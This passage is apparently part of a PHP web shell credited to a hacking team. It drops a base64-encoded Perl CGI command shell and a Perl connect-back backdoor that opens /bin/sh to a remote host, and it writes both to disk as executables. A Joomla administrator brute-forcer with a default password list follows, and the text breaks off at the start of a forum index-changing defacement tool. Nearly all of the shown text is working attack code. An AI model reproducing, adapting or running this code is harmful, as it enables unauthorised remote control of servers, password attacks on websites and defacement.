ZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K\';\r\n\r\n$file = fopen("izo.cin" ,"w+");\r\n$write = fwrite ($file ,base64_decode($cgishellizocin));\r\nfclose($file);\r\n chmod("izo.cin",0755);\r\n$netcatshell = \'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh\r\nMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog\r\nICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo\r\nMSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg\r\nICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb\r\nMV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb\r\nKl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An\r\nKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf\r\nSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg\r\nICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF\r\nUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi\r\nVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu\r\nZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+\r\nJlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl\r\nbihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu\r\nICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE\r\nYXRhY2hlZFxuXG4iOw==\';\r\n\r\n$file = fopen("dc.pl" ,"w+");\r\n$write = fwrite ($file ,base64_decode($netcatshell));\r\nfclose($file);\r\n chmod("dc.pl",0755);\r\n echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe> \r\n\r\n \r\n </div>"; }\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jbrute\')) \r\n{ \r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">\r\n\r\n\t<meta name="author" content="RetnOHacK" />\r\n <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />\r\n <meta name="description" content="RetnOHacK #Procoder\'z Team Albanian" />\r\n<center>\r\n</br></br>\r\n<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />\r\n<form method="post" action="" enctype="multipart/form-data"> \r\n<table class="tabnet" width="38%" border="0"><center>\r\n<th colspan="2">Joomla Brute Force</th>\r\n<tr><td><p ><font class="d1">User :</font></th>\r\n<input class="inputz" type=\'text\' name="usr" value="admin" size="15"> </font></center><br /><br /></p>\r\n</td></tr>\r\n<tr><td><font class="">Sites list :</font> \r\n</td><td><font class="" >Pass list :</font></td></tr>\r\n<tr>\r\n\t\t<td>\r\n<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>\r\n</td><td>\r\n<textarea name="w0rds" style="background:black;" cols="40" rows="13" >\r\nadmin\r\n123456\r\npassword\r\n102030\r\n123123\r\n12345\r\n123456789\r\npass\r\ntest\r\nadmin123\r\ndemo\r\n!@#$%^\r\n</textarea>\r\n</td></tr><center><tr><td>\r\n<font > \r\n<input class="inputzbut" type="submit" name="x" value="start" id="d4"> \r\n</font></td></tr><br>\r\ntanks for procoder\'z team albanian<br></center></table>\r\n</form></center>\r\n<? \r\n@set_time_limit(0); \r\n\r\nif($_POST[\'x\']){ \r\n\r\necho "<hr>"; \r\n\r\n$sites = explode("\\n",$_POST["sites"]); // Get Sites \r\n$w0rds = explode("\\n",$_POST["w0rds"]); // Get w0rdLiSt \r\n\r\n$Attack = new Joomla_brute_Force(); // Active Class \r\n\r\n\r\nforeach($w0rds as $pwd){ \r\n\r\nforeach($sites as $site){ \r\n\r\n\r\n$Attack->check_it(txt_cln($site),$_POST[\'usr\'],txt_cln($pwd)); // Brute :D \r\nflush();flush(); \r\n\r\n} \r\n\r\n} \r\n\r\n} \r\n\r\n\r\n# Class & Function\'z \r\n\r\nfunction txt_cln($value){ return str_replace(array("\\n","\\r"),"",$value); } \r\n\r\nclass Joomla_brute_Force{ \r\n\r\npublic function check_it($site,$user,$pass){ // print result \r\n\r\nif(eregi(\'com_config\',$this->post($site,$user,$pass))){ \r\n\r\necho "<span class=\\"x2\\"><b># Success : $user:$pass -> <a href=\'$site/administrator/index.php\'>$site/administrator/index.php</a></b></span><BR>";\r\n$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\\n"); fclose($f); \r\nflush(); \r\n}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();} \r\n\r\n} \r\n\r\npublic function post($site,$user,$pass){ // Post -> user & pass \r\n\r\n$token = $this->extract_token($site); \r\n\r\n$curl=curl_init(); \r\n\r\ncurl_setopt($curl,CURLOPT_RETURNTRANSFER,1); \r\ncurl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); \r\n@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); \r\n@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); \r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4\'); \r\n@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); \r\ncurl_setopt($curl,CURLOPT_POST,1); \r\ncurl_setopt($curl,CURLOPT_POSTFIELDS,\'username=\'.$user.\'&passwd=\'.$pass.\'&lang=en-GB&option=com_login&task=login&\'.$token.\'=1\'); \r\ncurl_setopt($curl,CURLOPT_TIMEOUT,20); \r\n\r\n$exec=curl_exec($curl); \r\ncurl_close($curl); \r\nreturn $exec; \r\n\r\n} \r\n\r\npublic function extract_token($site){ // get token from source for -> function post \r\n\r\n$source = $this->get_source($site); \r\n\r\npreg_match_all("/type=\\"hidden\\" name=\\"([0-9a-f]{32})\\" value=\\"1\\"/si" ,$source,$token); \r\n\r\nreturn $token[1][0]; \r\n\r\n} \r\n\r\npublic function get_source($site){ // get source for -> function extract_token \r\n\r\n$curl=curl_init(); \r\ncurl_setopt($curl,CURLOPT_RETURNTRANSFER,1); \r\ncurl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); \r\n@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); \r\n@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); \r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4\'); \r\n@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); \r\ncurl_setopt($curl,CURLOPT_TIMEOUT,20); \r\n\r\n$exec=curl_exec($curl); \r\ncurl_close($curl); \r\nreturn $exec; \r\n\r\n} \r\n\r\n} \r\n}\r\n/////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'vb\'))\r\n {\r\n ?>\r\n <form action="?y=<?php echo $pwd; ?>&x=vb" method="post">\r\n <br><br><br><div align="center">\r\n <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">\r\n <b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>\r\n </div><br>\r\n <?\r\n if(empty($_POST[\'index\'])){\r\n echo "<center><FORM method=\\"POST\\">";\r\n echo "<table class=\\"tabnet\\">\r\n<th colspan=\\"2\\">Vb Index Changer</th>\r\n<tr><td>host </td><td><input class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"localhost\\" value=\\"localhost\\"></td></tr>\r\n<tr><td>database </td><td><input 